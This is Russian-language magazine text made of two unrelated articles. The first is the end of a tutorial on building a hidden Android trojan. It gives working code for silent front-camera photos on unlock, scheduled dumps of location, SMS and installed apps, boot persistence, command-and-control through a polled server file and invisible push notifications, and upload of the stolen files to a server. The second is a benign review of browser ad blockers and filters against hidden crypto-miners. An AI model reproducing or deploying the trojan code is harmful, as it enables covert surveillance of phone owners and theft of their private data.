               byte[] bytes = new byte[buffer.remaining()];
               buffer.get(bytes);
               OutputStream os = new FileOutputStream(file);
               os.write(bytes);
               image.close();
               os.close();
           } catch (Exception e) {
               e.getStackTrace();
           }
           closeCamera();
       }
   };
   private void takePicture() {
       request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
       request.addTarget(imageReader.getSurface());
       try {
           session.capture(request.build(), mCaptureCallback, handler);
       } catch (CameraAccessException e) {
       }
   }
   private void closeCamera() {
       try {
           if (null != session) {
               session.abortCaptures();
               session.close();
               session = null;
           }
           if (null != device) {
               device.close();
               device = null;
           }
           if (null != imageReader) {
               imageReader.close();
               imageReader = null;
           }
           if (null != surfaceTexture) {
               surfaceTexture.release();
           }
       } catch (Exception e) {
       }
   }
   public boolean takeSilentPhoto(String cam, String dir) {
       photosDir = dir;
       int facing;
       switch (cam) {
           case "front":
               facing = CameraCharacteristics.LENS_FACING_FRONT;
               break;
           case "back":
               facing = CameraCharacteristics.LENS_FACING_BACK;
               break;
           default:
               return false;
       }
       CameraManager manager = (CameraManager)
               context.getSystemService(Context.CAMERA_SERVICE);
       String cameraId = null;
       characteristics = null;
       try {
           for (String id : manager.getCameraIdList()) {
               characteristics = manager.getCameraCharacteristics(id);
               Integer currentFacing = characteristics.get(CameraCharacter
istics.LENS_FACING);
               if (currentFacing != null && currentFacing == facing) {
                   cameraId = id;
                   break;
               }
           }
       } catch (Exception e) {
           return false;
       }
       HandlerThread handlerThread = new HandlerThread("CameraBackground")
;
       handlerThread.start();
       handler = new Handler(handlerThread.getLooper());
       imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 
2);
       imageReader.setOnImageAvailableListener(mOnImageAvailableListener, 
handler);
       try {
           manager.openCamera(cameraId, mStateCallback, handler);
           // Ждем фокусировку
           Thread.sleep(1000);
           takePicture();
       } catch (Exception e) {
           Log.d(TAG, "Can't open camera: " + e.toString());
           return false;
       }
       return true;
   }
   private int getOrientation() {
       WindowManager wm = (WindowManager) context.getSystemService(Context
.WINDOW_SERVICE);
       int rotation = wm.getDefaultDisplay().getRotation();
       int deviceOrientation = 0;
       switch(rotation){
           case Surface.ROTATION_0:
               deviceOrientation = 0;
               break;
           case Surface.ROTATION_90:
               deviceOrientation = 90;
               break;
           case Surface.ROTATION_180:
               deviceOrientation = 180;
               break;
           case Surface.ROTATION_270:
               deviceOrientation = 270;
               break;
       }
       int sensorOrientation = characteristics.get(CameraCharacteristics.
SENSOR_ORIENTATION);
       deviceOrientation = (deviceOrientation + 45) / 90 * 90;
       boolean facingFront = characteristics.get(CameraCharacteristics.
LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
       if (facingFront) deviceOrientation = ‐deviceOrientation;
       return (sensorOrientation + deviceOrientation + 360) % 360;
   }
}

Этот код сле дует вызывать в отдель ном потоке, передав в качес тве аргу мен‐ 
тов  мес то  рас положе ния  камеры  ("front"  —  перед няя,  "back"  —  зад няя)
и каталог, в который будут сох ранены фотог рафии. В качес тве имен фай лов
будет исполь зована текущая дата и вре мя.

String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);

СКЛАДЫВАЕМ ВСЕ ВМЕСТЕ
С  это го  момен та  у  нас  есть  кар кас  при ложе ния,  который  запус кает  сер вис
и  скры вает  свое  при сутс твие.  Есть  набор фун кций  и  клас сов,  которые  поз‐ 
воля ют собирать информа цию о смар тфо не и его вла дель це, а так же скры то
записы вать  аудио  и  делать  фото.  Теперь  нуж но  разоб рать ся,  ког да  и  при
каких обсто ятель ствах их вызывать.

Ес ли  мы  прос то  засунем  вызов  всех  этих  фун кций  в  сер вис,  то  получим
бес полез ное  «одно разо вое  при ложе ние».  Сра зу  пос ле  запус ка  оно  узна ет
информа цию о мес тополо жении, получит спи сок при ложе ний, СМС, сде лает
запись аудио, сни мок, сох ранит все это в фай лы в сво ем при ват ном катало ге
и уснет. Оно даже не запус тится пос ле перезаг рузки.

Го раз до более полез ным оно ста нет, если опре деле ние мес тополо жения,
дамп при ложе ний и СМС будет  про исхо дить  по рас писанию  (допус тим,  раз
в  пол часа),  сни мок  экра на  —  при  каж дом  вклю чении  устрой ства,  а  запись
аудио — по коман де с сер вера.

За дания по рас писанию
Что бы  зас тавить  Android  выпол нять  код  нашего  при ложе ния  через  опре‐ 
делен ные  интерва лы  вре мени,  мож но  исполь зовать  AlarmManager.
Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {
   public static void set(Context context) {
       AlarmManager am = (AlarmManager) context.getSystemService(Context.
ALARM_SERVICE);
       Intent intent = new Intent(context, Alarm.class);
       PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, 
intent, 0);
       am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, System
Clock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
   }
   @Override
   public void onReceive(Context context, Intent intent) {
       // Твой код здесь
   }
}

Ме тод   уста новит «будиль ник», сра баты вающий каж дые трид цать минут
и запус кающий метод  . Имен но в него ты дол жен помес тить код,
ски дыва ющий мес тополо жение, СМС и спи сок при ложе ний в фай лы.

set()
onReceive()

В метод   сер виса добавь сле дующую стро ку:onCreate()

Alarm.set(this)

Сни мок при вклю чении экра на
Бес смыс ленно делать сни мок каж дые пол часа. Гораз до полез нее делать сни‐ 
мок перед ней камерой при раз бло киров ке смар тфо на  (сра зу вид но, кто его
исполь зует). Что бы реали зовать такое, соз дай класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {
   @Override
   void onReceive(Context context, Intent intent) {
       // Твой код здесь
   }
}

И добавь в манифест сле дующие стро ки:

<receiver android:name="com.example.app.ScreenOnReceiver">
   <intent‐filter>
       <action android:name="android.intent.action.ACTION_SCREEN_ON" />
   </intent‐filter>
</receiver>

За пуск при заг рузке
В дан ный момент у нашего при ложе ния есть одна боль шая проб лема — оно
будет работать ров но до тех пор, пока юзер не перезаг рузит смар тфон. Что‐ 
бы  переза пус кать  сер вис  при  заг рузке  смар тфо на,  соз дадим  еще  один
ресивер:

class BootReceiver extends BroadcastReceiver() {
   @Override
   void onReceive(Context context, Intent intent) {
       Intent serviceIntent = new Intent(this, MainService.class);
       startService(serviceIntent);
   }
}

И опять же добавим его в манифест:

<receiver android:name="com.example.BootReceiver">
   <intent‐filter>
       <action android:name="android.intent.action.BOOT_COMPLETED" />
   </intent‐filter>
</receiver>

За пись аудио по коман де
С  этим  нем ного  слож нее.  Самый  прос той  спо соб  отдать  коман ду  нашему
тро яну  —  записать  ее  в  обыч ный  тек сто вый  файл  и  выложить  этот  файл
на сер вере. Затем помес тить в сер вис код, который будет, допус тим, каж дую
минуту  чекать  сер вер  на  наличие  фай ла  и  выпол нять  записан ную  в  нем
коман ду.

В коде это может выг лядеть при мер но так:

String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
   Response response = client.newCall(request).execute();
   String cmd = response.body().string();
   cmd = cmd.trim()
   if (cmd.equals("record")) {
       // Делаем аудиозапись
   }
   try {
       Thread.sleep(60 * 1000);
   } catch (InterruptedException e) {}
}

Ко неч но  же,  у  это го  кода  есть  проб лема  —  если  ты  один  раз  запишешь
коман ду в файл на сер вере, тро ян будет выпол нять ее каж дую минуту. Что бы
это го  избе жать,  дос таточ но  добавить  в  файл  чис ловой  пре фикс  в  фор мате
«X:коман да» и уве личи вать этот пре фикс при каж дой записи коман ды. Тро ян
же  дол жен  сох ранять  это  чис ло  и  выпол нять  коман ду  толь ко  в  том  слу чае,
если оно уве личи лось.

Го раз до  хуже,  что  твой  тро ян  будет  замет но  жрать  батарею.  А  Android
(начиная с шес той вер сии) будет его в  этом огра ничи вать,  зак рывая дос туп
в интернет.

Что бы избе жать этих проб лем, мож но исполь зовать сер вис push‐уве дом‐ 
лений.   отлично под ходит на эту роль. Он бес пла тен и очень прост
в  исполь зовании.  Зарегис три руй ся  в  сер висе,  добавь  новое  при ложе ние
и  сле дуй  инс трук циям,  в  кон це  тебе  ска жут,  какие  стро ки  необ ходимо
добавить  в  build.gradle  при ложе ния,  а  так же  поп росят  соз дать  класс  вро де
это го:

OneSignal

class App extends Application {
   @Override
   public void onCreate() {
       super.onCreate()
       OneSignal.startInit(this).init()
   }
}

Но  это  еще  не  все.  Так же  тебе  нужен  сер вис —  обра бот чик  push‐уве дом‐ 
лений,  который  будет  при нимать  их  и  выпол нять  дей ствия  в  зависи мос ти
от содер жащих ся в push‐уве дом лении дан ных:

class OSService extends NotificationExtenderService {
   @Override
   protected boolean onNotificationProcessing(OSNotificationReceivedResult
receivedResult) {
       String cmd = receivedResult.payload.body.trim()
       if (cmd.equals("record")) {
           // Делаем аудиозапись
       }
       // Не показывать уведомление
       return true
   }
}

Этот код  трак тует содер жащу юся в  уве дом лении стро ку  как  коман ду и, если
эта  коман да  —  record,  выпол няет  нуж ный  нам  код.  Само  уве дом ление
не появит ся на экра не, поэто му поль зователь ничего не заметит.

Пос ледний штрих — добавим сер вис в манифест:

<service
   android:name="org.antrack.app.service.OSService"
   android:exported="false">
   <intent‐filter>
       <action android:name="com.onesignal.NotificationExtender" />
   </intent‐filter>
</service>

От прав ка дан ных на сер вер
На про тяже нии всей статьи мы обсужда ли, как соб рать дан ные и сох ранить их
в фай лы внут ри при ват ного катало га. И теперь мы готовы залить эти дан ные
на сер вер. Сде лать это не так уж слож но, вот, нап ример, как мож но отпра вить
на сер вер нашу фот ку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/
jpeg");
public void uploadImage(File image, String imageName) throws IOException {
   OkHttpClient client = new OkHttpClient();
   RequestBody requestBody = new MultipartBody.Builder().setType(Multip
artBody.FORM)
       .addFormDataPart("file", imageName, RequestBody.create(MEDIA_
TYPE_JPEG, image))
       .build();
   Request request = new Request.Builder().url("http://com.example.com/
upload")
       .post(requestBody).build();
   Response response = client.newCall(request).execute();
}

Вы зывать этот метод нуж но из метода   клас са Alarm, что бы каж‐ 
дые трид цать минут при ложе ние отправ ляло новые фай лы на сер вер. Отправ‐ 
ленные фай лы сле дует уда лять.

onReceive()

Ну и конеч но же, на сто роне сер вера тебе необ ходимо реали зовать хен‐ 
длер, который будет обра баты вать апло ады. Как это сде лать, силь но зависит
от того, какой фрей мворк и сер вер ты исполь зуешь.

ВЫВОДЫ
Android — очень  дру желюб ная  к  раз работ чикам  сто рон них  при ложе ний ОС.
Поэто му написать пол ноцен ный  тро ян  здесь мож но, исполь зуя стан дар тный
API. Более того, с помощью того же API его икон ку мож но скрыть из спис ка
при ложе ний и зас тавить работать в фоне, незамет но для поль зовате ля.

Будь осто рожен с Android 8. Она хоть и поз воля ет соб ранным для более
ран них  вер сий  Android  при ложе ниям  работать  в  фоне,  но  выводит  об  этом
уве дом ление. С  дру гой  сто роны, мно го  ли  ты  видел  смар тфо нов  на Android
8 в дикой при роде?
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Ин тернет  пес трит  рек ламой,  методы  показа  которой  ста‐ 
новят ся  все  агрессив нее.  Ани миро ван ные  гиф ки  и  флеш,
отдель ные фрей мы и всплы вающие окна — это еще цве точ‐ 
ки.  Все  чаще  встре чают ся  фишин говые  редирек ты,  тро яны
и  скры тые  май неры,  которые  добыва ют  крип товалю ту
при  посеще нии  сай тов.  Огра дить  от  них  поль зовате ля
помога ют бра узер ные рас ширения, но не все бло киров щики
ока зались на повер ку чес тны и эффектив ны.

МАРКЕТИНГ БЕЗ ПРАВИЛ
Сов ремен ные  средс тва  веб‐раз работ ки  помога ют  не  толь ко  делать  кру тые
веб‐сер висы, но и обо гащать ся не впол не закон ными метода ми. Назой ливая
рек лама, под мена нас тро ек бра узе ра, скры тые в коде стра ниц JS‐май неры —
все это следс твия бес конеч ной погони за при былью.

Бо роть ся  с  этим  на  сто роне  поль зовате ля  мож но  при  помощи филь тра‐ 
ции.  В  прос тей шем  слу чае  извес тные  ресур сы  с  недоб росовес тной  рек‐ 
ламой,  фишин говые  сай ты  и  про чий  сетевой  мусор  прос то  добав ляют ся
в файл hosts,  где им жес тко про писы вает ся перенап равле ние на локаль ный
хост вмес то уда лен ного IP‐адре са с сом нитель ной репута цией.

Пре иму щес тво  это го  метода  в  том,  что  он  не  зависит  от  исполь зуемо го
бра узе ра.  Localhost  один  для  всех  прог рамм,  и  его  мож но  исполь зовать
в любой сов ремен ной опе раци онке. К при меру, опен сор сная прог рамма 

  поз воля ет  изба вить  от  рек ламы  рутован ный  девайс  с  Android
4.1 и новее.

Ad‐
Away

Дру гой  популяр ный  вари ант  —  исполь зовать  бра узер ные  рас ширения,
которые  филь тру ют  кон тент.  Сре ди  таких  бор цов  с  рек ламой  боль шую
популяр ность получил   и его ана логи.AdBlock

Не всплы вать!
Са мая назой ливая рек лама ста ла отфиль тро вывать ся уже на уров не бра узе‐ 
ров.  По  умол чанию  Chrome,  Firefox,  Safari  и  Edge  бло киру ют  всплы вающие
окна. Так же в бра узе рах дав но начали бло киро вать Flash, пос коль ку их час то
исполь зуют  для  отсле жива ния  поль зователь ской  активнос ти,  да  и  сам  Flash
Player изо билу ет дырами в безопас ности.

  Chrome  сна чала  пыта ется  заг рузить  вер сию  стра ницы
без Flash, и дру гие раз работ чики ста ли делать так же. Safari, начиная с вер‐ 
сии  11,  зап реща ет  авто мати чес ки  вос про изво дить  видео  на  стра нице.
И  такие  фун кции  встре чают ся  все  чаще.  Поэто му  преж де,  чем  ста вить
какой‐нибудь бло киров щик, открой нас трой ки сво его бра узе ра. Часть надо‐ 
едающей ерун ды мож но скрыть встро енны ми средс тва ми.
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ПОЧЕМУ ADBLOCK УЖЕ НЕ ТОРТ
Мно гие  пута ют  AdBlock  и  Adblock  Plus,  счи тая  вто рой  прод винутой  вер сией
пер вого. В дей стви тель нос ти исто рия их соз дания гораз до запутан нее. Дело
было так…

Пер вую  вер сию  рас ширения  под  наз вани ем  AdBlock  for  Firefox  написал
Хен рик Сёрен сен (Henrik Aasted Sørensen) в 2002 году. Как лег ко догадать ся,
оно  работа ло  толь ко  в  Firefox.  Из‐за  огра ниче ний  бра узер ного  движ ка  Ad‐
Block for Firefox пло хо борол ся со встав ками рек ламных роликов, а интерфейс
был  доволь но  скуд ным.  Спус тя  пару  лет  появил ся  форк  Adblock  Plus,
в котором мно гое было улуч шено. Отчасти из‐за это го в 2006 году раз работ‐ 
ка ори гиналь ного AdBlock for Firefox при оста нови лась.

Пос ле  трех летне го  затишья  уже  дру гой  раз работ чик  —  Май кл  Гун длах
(Michael Gundlach) исполь зовал наработ ки Adblock Plus,  взял наз вание ори‐ 
гиналь ного про екта AdBlock и выпус тил свою вер сию бло киров щика рек ламы
в 2009 году.

Но вый  AdBlock —  это форк фор ка,  который  име ет мало  обще го  с  одно‐ 
имен ным  родона чаль ником.  Он  был  написан  как  рас ширение  для  Chrome,
Firefox, Safari, Opera и Edge. Сре ди пре иму ществ это го допол нения — уни вер‐ 
саль ность,  пол ностью  перера ботан ный  интерфейс  и  воз можность  исполь‐ 
зовать  спис ки  Adblock  Plus,  которые  сов падали  по фор мату. Одна ко  не  все
новов ведения приш лись по вку су поль зовате лям и вла дель цам сай тов.

Вы реза ние  рек ламы  в  AdBlock  порой  работа ет  стран но.  К  при меру,
на  скрин шотах  ниже  показа но,  как  выг лядит  сайт  «Эха  Мос квы»  при  его
посеще нии без бло киров щиков и с уста нов ленным AdBlock.

Сайт «Эха Мос квы». Отоб ражение без бло киров щиков

Сайт «Эха Мос квы». Отоб ражение с уста нов ленным AdBlock

Ви дишь раз ницу? Я тоже не вижу, а счет чик AdBlock показы вает, что она есть!
При этом на сай те РенТВ (да, мы спе циаль но отоб рали самые «вкус ные»

стра нич ки) кар тина иная. Если зай ти на него без AdBlock, то мож но получить
пси хичес кую  трав му.  Рек ламы  повалит ся  столь ко,  что  ее  не  умес тить
на одном скрин шоте.

Фраг мент сай та РенТВ без филь тра ции рек ламы, начало

Фраг мент сай та РенТВ без филь тра ции рек ламы, про дол жение

Сто ит вклю чить AdBlock, как выреза ются целые лен ты и стра ница сжи мает ся
по вер тикали в разы, но часть рек ламы все рав но оста ется.

Сайт РенТВ. Вид через приз му AdBlock

Зап рет рек ламы как источник дохода
С рек ламой свя заны мил лион ные бюд жеты, и воз ника ет законо мер ный воп‐ 
рос: ради чего люди пишут кло ны AdBlock, а затем годами занима ются под‐ 
дер жкой этих про ектов? Вряд ли авто рами дви жут исклю читель но аль тру исти‐ 
чес кие  сооб ражения.  Бло киро вание  рек ламы  может  быть  прос то  при быль‐ 
нее,  чем  ее  показы.  По    поль зовате лей  Quora  AdBlock  при носил
раз работ чику от 6 до 25 мил лионов дол ларов еже год но толь ко за счет доб‐ 
роволь ных пожер тво ваний на его под дер жку.

под сче там

Сбор пожер тво ваний

Сколь ко  в  дей стви тель нос ти  соб рали  по  схе ме  доната  за  freemium —  офи‐ 
циаль но  не  сооб щает ся.  Одна ко  тех ничес ки  здесь  воз можны  и  теневые
методы  монети зации.  Нап ример,  новый  AdBlock  уме ет  не  прос то  бло киро‐ 
вать рек ламу, а под менять вырезан ные бан неры чем угод но. В 2012 году Гун‐ 
длах стал заменять их фотог рафи ями улы бающих ся кошек (этот экспе римент
объ яснялся  как  затянув ший ся  пер воап рель ский  розыг рыш),  а  в  2016  году
вмес то бан неров уже появи лись ссыл ки на статьи о Сно уде не и дру гую про‐ 
паган ду Amnesty International. Как говорит ся, здесь мог ла быть ваша рек лама.

В нас тоящее вре мя Гун длах ото шел от раз работ ки,  а раз вити ем AdBlock
руково дят Габ риэль Каб бадж (Gabriel Cubbage) и Анту ан Бог лер (Antoine Boe‐
gler).  Под робнос ти  этой  сдел ки  офи циаль но  не  сооб щались,  но  раз говоры
о про даже AdBlock за вну шитель ную сум му велись еще с 2015 года. При этом
AdBlock исполь зует  . Десят ки людей про дол жают бес плат но
делать перево ды и помога ют улуч шить про дукт.

труд волон теров

ADBLOCK PLUS
Се год ня  рас ширение  Adblock  Plus  дос тупно  для  бра узе ров  Chrome,  Firefox,
Safari, Opera и Edge. Это один из самых популяр ных бло киров щиков рек ламы,
ска чан ный более 100 мил лионов раз. Он уме ет выбороч но филь тро вать рек‐ 
ламу (в том чис ле виде оро лики), отклю чать кноп ки соц сетей, пре дот вра щать
переход  на  фишин говые  сай ты  и  защищать  поль зовате ля  от  слеж ки  через
счет чики и рек ламные бло ки. Одна ко и зап рашива ет он вну шитель ный набор
раз решений. Гораз до боль ше, чем ана логи.

Раз реши Adblock Plus все

Adblock Plus рас простра няет ся бес плат но по лицен зии GPLv3, но это не озна‐ 
чает, что он не при носит при были сво им хозя евам. Прос то под ходы к монети‐ 
зации у раз работ чиков это го фор ка нем ного отли чают ся.

Соз данная для прод вижения бло киров щика ком пания Eyeo дела ет став ку
на белые спис ки. Они вклю чены в нас трой ках по умол чанию и содер жат пра‐ 
вила, раз реша ющие показ «некото рой ненавяз чивой рек ламы».

С 2011 года Eyeo вза имо дей ству ет с рек ламода теля ми через плат форму
AAP  —  .  «Допус тимая»  рек лама  так же  может  отоб‐ 
ражать ся вмес то вырезан ной «недопус тимой».

Acceptable  Ads  Platform

Раз работ чики  Adblock  Plus  откры то  зак люча ют  кон трак ты  с  рек ламны ми
сетями,  которые  хотят  добавить  свой  кон тент  в  белые  спис ки. Офи циаль но
они  дол жны  про ходить  про вер ку  и  гаран тировать  соот ветс твие  сво ей  рек‐ 
ламы  кри тери ям  допус тимос ти,  но  эти  кри терии  опре деля ет  сама  Eyeo.
Конеч но, откро вен но навяз чивая рек лама вряд ли прой дет модера цию даже
за  боль шое  воз награж дение.  Мно голет няя  репута ция  баналь но  дороже
разовой при были.

Не кото рые  вла дель цы  веб‐сай тов  счи тают  прак тику  изби ратель ной  бло‐ 
киров ки  рек ламы  и  ее  замены  на  «пра виль ную»  схе мой  недоб росовес тной
кон курен ции. Вмес то учас тия в прог рамме AAP они пода ют иски в суд и порой
даже  выиг рыва ют.  К  при меру,  немец кий  изда тель ский  дом  Axel  Springer
добил ся через суд бес плат ного добав ления сво их жур налов в белый спи сок
Adblock Plus.

В нашем тес те Adblock Plus показал себя нарав не с дру гими учас тни ками,
исправ но  вырезая  рек ламу.  Одна ко  некото рые  сай ты  прос то  отка зыва лись
заг ружать ся, пока мы его не отклю чим. Под робнее об этом смот ри во врез ке
про adwall.

С Adblock Plus вход зап рещен!

КАК СОСТАВЛЯЮТСЯ СПИСКИ ФИЛЬТРОВ
Все  бло киров щики  исполь зуют  откры тые  спис ки  небезо пас ных  сай тов
и источни ков назой ливой рек ламы. Их обновля ют раз ные орга низа ции, каж‐ 
дая из которых руководс тву ется сво ими кри тери ями для бана.

Обыч но сайт или его отдель ный ком понент получа ют «чер ную мет ку» пос‐ 
ле жалоб поль зовате лей на доконав шую рек ламу или мошен ничес тво. Потен‐ 
циаль но  опас ным  сайт  счи тает ся,  ког да  попада ет  на  при цел  облачной  сис‐ 
темы  анти вирус ной  про вер ки.  Нап ример,  такой  как 
или  .

Google  Safebrowsing
Norton Safe Web
Пе речень  популяр ных  чер ных  спис ков  с  их  крат ким  опи сани ем  дос тупен

. Они час тично сов пада ют, поэто му перед исполь зовани ем их тре бует ся
объ еди нить, очис тив от пов торя ющих ся записей. AdAway и сов ремен ные бло‐ 
киров щики  дела ют  это  авто мати чес ки.  Допус тимо  исполь зование  любого
количес тва спис ков — глав ное, что бы их фор мат сов падал.

здесь

Од нако  «допус тимо»  не  озна чает  «рекомен дует ся».  Боль шинс тву  поль‐ 
зовате лей  хва тает  задан ных  по  умол чанию  двух‐трех  спис ков.  Здесь  нет
смыс ла  гнать ся  за  количес твом,  пос коль ку  длин ный  перечень  бло киру емых
ресур сов замед ляет работу бра узе ра.

Го раз до важ нее учи тывать реги ональ ные осо бен ности. Нап ример, вряд ли
поль зовате лям  из  Рос сии  будут  акту аль ны  спис ки  назой ливой  рек ламы,
докуча ющей веб‐сер ферам в Аргенти не. На прак тике ока зыва ется эффектив‐ 
нее при менять дефол тные реги ональ ные спис ки и добав лять к ним свои еди‐ 
нич ные филь тры, чем пытать ся сра зу прик рутить как мож но боль ше готовых.

АЛЬТЕРНАТИВЫ ADBLOCK
По мимо  ста рого‐нового  AdBlock  и  его  фор ка  с  при пис кой  Plus  есть  мас са
дру гих бло киров щиков рек ламы, но в основном это узкоспе циали зиро ван ные
допол нения  или  прос то  подел ки,  силь но  усту пающие  в  фун кци ональ нос ти.
Одна ко встре чают ся и при ятные исклю чения.

Продолжение статьи →
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uBlock Origin
На мой взгляд, отдель ного упо мина ния зас лужива ет   Рай мон да
Хил ла (Raymond Hill). Он исполь зует боль ше филь тров, но при этом умуд ряет‐ 
ся  задей ство вать мень ше сис темных ресур сов,  чем Adblock Plus. Вот 

, под твержда ющие качес тво кода.

uBlock Origin

собс‐ 
твен ные тес ты раз работ чика

uBlock Origin  очень  тон ко  кон фигури рует ся.  Более  деталь ных  нас тро ек  я
не  встре чал  ни  в  одном  дру гом  бло киров щике.  Отдель ными  спис ками  заг‐ 
ружа ются пра вила для филь тра ции обыч ной и назой ливой рек ламы, мошен‐ 
ничес ких  и  вре донос ных  сай тов,  реги ональ ные  и  уни вер саль ные  переч ни.
Допол нитель ные  спис ки  так же  бло киру ют  сле дящие  ком понен ты  сай тов,
заботясь о при ват ности.

Боль шой выбор под писок

Вдо бавок  uBlock Origin  поз воля ет  отдель но  нас тра ивать  отклю чение  всплы‐ 
вающих  окон,  бло киров ку  заг рузки  круп ных  меди афай лов  для  умень шения
тра фика  и  исполь зование  «кос метичес ких  филь тров».  По  сути  это  таб лицы
сти лей, без которых вмес то вырезан ных эле мен тов отоб ражались бы пус тые
пря моуголь ники. Они перевер сты вают стра ницу на лету, делая ее более ком‐ 
пак тной за счет того, что основной кон тент переме щает ся на мес то уда лен‐ 
ной рек ламы. Ана логич ные фун кции встре чают ся и  у дру гих бло киров щиков,
но по моему опы ту в uBlock Origin он работа ет луч ше все го.

Для  каж дого  сай та  лег ко  задать  свои  уста нов ки,  нес ложно  и  отклю чать
uBlock  Origin  пол ностью  или  выбороч но  —  для  отдель ных  стра ниц  сай та.
Еще про ще в нем раз решать или зап рещать обра щения к опре делен ным сто‐ 
рон ним  сай там.  Для  это го  дос таточ но  клик нуть  по  спис ку  заб локиро ван ных
эле мен тов на текущей стра нице.

За даем пра вила на лету

Бе лый спи сок у uBlock Origin  тоже сущес тву ет. По умол чанию в него добав‐ 
лены  источни ки  допол нений  и  ком понент  .  Так  uBlock
помеча ет  все  HTTP‐зап росы,  которые  не  могут  быть  ассо цииро ваны
с  какой‐то  опре делен ной  вклад кой  бра узе ра.  К  таким  зап росам  отно сят ся
авто мати чес кие  обновле ния  самого  бра узе ра  и  его  допол нений,  сис темы
поис ковых под ска зок и про чий слу жеб ный тра фик.

behind‐the‐scene

Ес ли  uBlock Origin  про пус тил  рек ламу  или  ты  прос то  не  жела ешь  видеть
какой‐то типовой фраг мент веб‐стра ницы, то мож но задать собс твен ное пра‐ 
вило  бло киров ки.  Для  это го  нуж но  зай ти  в  режим  затира ния  эле мен тов
и клик нуть на то, что тебе не пон равилось.

Ре жим затира ния

Та ким  обра зом  я  лег ко  уби рал  сооб щения  и  виде овстав ки  на  сай тах  —
не рек ламные, но прос то отвле кающие.

Вы бор эле мен та для уда ления

Рас ширен ные нас трой ки uBlock ста новят ся дос тупны пос ле уста нов ки флаж ка
«Я — опыт ный поль зователь». Пос ле это го вклю чает ся режим динами чес кой
филь тра ции  кон тента,  который  нацелен  пре иму щес твен но  на  бло киров ку
меж сай товых зап росов ради повыше ния при ват ности и безопас ности.

uBlock Origin — нас трой ки для опыт ных поль зовате лей

На чиная с вер сии 1.1.0.0 uBlock Origin под держи вает облачную син хро низа‐ 
цию нас тро ек через Firefox Sync или акка унт Google. С ее помощью все пра‐ 
вила филь тра ции,  нас тро енные  на  одном  устрой стве,  лег ко  экспор тировать
на дру гие. Так же для этих целей мож но исполь зовать фун кцию бэкапа нас тро‐ 
ек.

Сох раня ем нас трой ки филь тра ции

AdGuard
Ког да еще не было никаких рас ширений для бра узе ров, я исполь зовал прог‐ 
рам мный  фай рвол  AtGuard.  В  девянос тых  годах  на  dial‐up‐под клю чении  он
был  нас тоящим  спа сени ем,  пос коль ку  эффектив но  сни жал  объ ем  тра фика.
AtGuard  не  борол ся  кон крет но  с  рек ламой,  но  умел  «замора живать»  ани‐ 
мацию GIF, бло киро вать скрип ты и ком понен ты ActiveX. Это не толь ко добав‐ 
ляло ком форта, но и силь но помога ло избе жать зараже ния.

С тех пор мно гое изме нилось, и сегод ня под схо жим наз вани ем AdGuard
сущес тву ют  два  раз ных  про дук та:  бес плат ное  допол нение  для  бра узе ра
за  авторс твом  Андрея Меш кова  и  плат ный  кросс‐плат формен ный фай рвол,
соз данный в его же ком пании AdGuard Software.

В этой статье мы рас смот рим бра узер ное рас ширение «
».  Оно  бес плат ное  и  рас простра няет ся  с  откры тыми  исходни ками.

Помимо  обыч ной  и  навяз чивой  рек ламы,  «Анти бан нер»  уме ет  бло киро вать
рек ламные виде оро лики на YouTube и дру гих сай тах, а  так же вид жеты соци‐ 
аль ных сетей.

AdGuard Анти бан‐ 
нер

«AdGuard Анти бан нер» инте ресен и тем, что не толь ко режет рек ламу, но и
пре пятс тву ет уста нов ке Spyware и Adware. При этом сам он рек ламиру ет пол‐ 
ную вер сию AdGuard (отдель ное при ложе ние), чей уста нов щик по умол чанию
пыта ется  нафар шировать  сис тему  сом нитель ным  пар тнерским  соф том  —
в час тнос ти, яндексов ским. Я реф лектор но убрал флаж ки преж де, чем сде лал
скрин шот.

INFO

Ес ли ты чита ешь эту статью в бра узе ре со вклю‐ 
чен ным  бло киров щиком  рек ламы,  то  есть  шанс,
что  кар тинку  под  этой  врез кой  ты  не  уви дишь.
По иро нии, мы обна ружи ли это толь ко пос ле пуб‐ 
ликации  статьи:  Adblock  Plus  и  uBlock  скры вают
кар тинку  из‐за  сло ва  advert  в  наз вании  фай ла.
Лож ные  сра баты вания  по‐преж нему  оста ются
боль шой  проб лемой  для  поль зовате лей  бло‐ 
киров щиков.

Нем ного «Яндекса» до кучи

До пол нитель но  «AdGuard  Анти бан нер»  бло киру ет  прак тичес ки  все  сис темы
отсле жива ния дей ствий поль зовате ля в интерне те и про веря ет посеща емые
сай ты по базе вре донос ных и фишин говых.

Прев раща ем белый спи сок в чер ный

Бе лый  спи сок  у  него  есть,  и  по  умол чанию  он  пус той.  В  нас трой ках  есть
забав ная фун кция «инверти ровать белый спи сок». Тог да рек лама будет раз‐ 
решена вез де, кро ме отме чен ных сай тов.

В  целом  у  меня  оста лись  край не  при ятные  впе чат ления  от  работы  «Ad‐
Guard Анти бан нер», но чис то субъ ективно исполь зовать uBlock Origin показа‐ 
лось удоб нее.

Бло киров щики рек ламы про тив скры тых май неров.

В пос леднее вре мя на мно гих сай тах появи лись JS‐май неры, которые скры то
запус кают ся при посеще нии стра ниц незави симо от дей ствий поль зовате ля.
При чем в боль шинс тве слу чаев это ока зыва лось сюр при зом и для вла дель‐ 
цев сай тов. Кто‐то по‐тихому инфи циро вал популяр ные веб‐стра ницы и зас‐ 
тавил  их  добывать  крип товалю ту  на  всех  компь юте рах  и мобиль ных  устрой‐ 
ствах посети телей. Чем не бот нет?

С сен тября 2017 года в Adblock Plus появи лась фун кция зап рета скрип тов
скры того  май нин га.  Тех ничес ки  это  прос то  еще  один филь тр  вро де 

,  поэто му  мож но  вруч ную  прев ратить  любой  нас тра иваемый
бло киров щик в «анти май нер». Тем более что, помимо Coinhive, есть мно жес‐ 
тво дру гих скрип тов для онлай нового май нин га. Их спи сок мож но пос мотреть
в опи сании таких допол нений, как   или  .

*coin‐
hive.min.js

Mining Blocker NoMiner
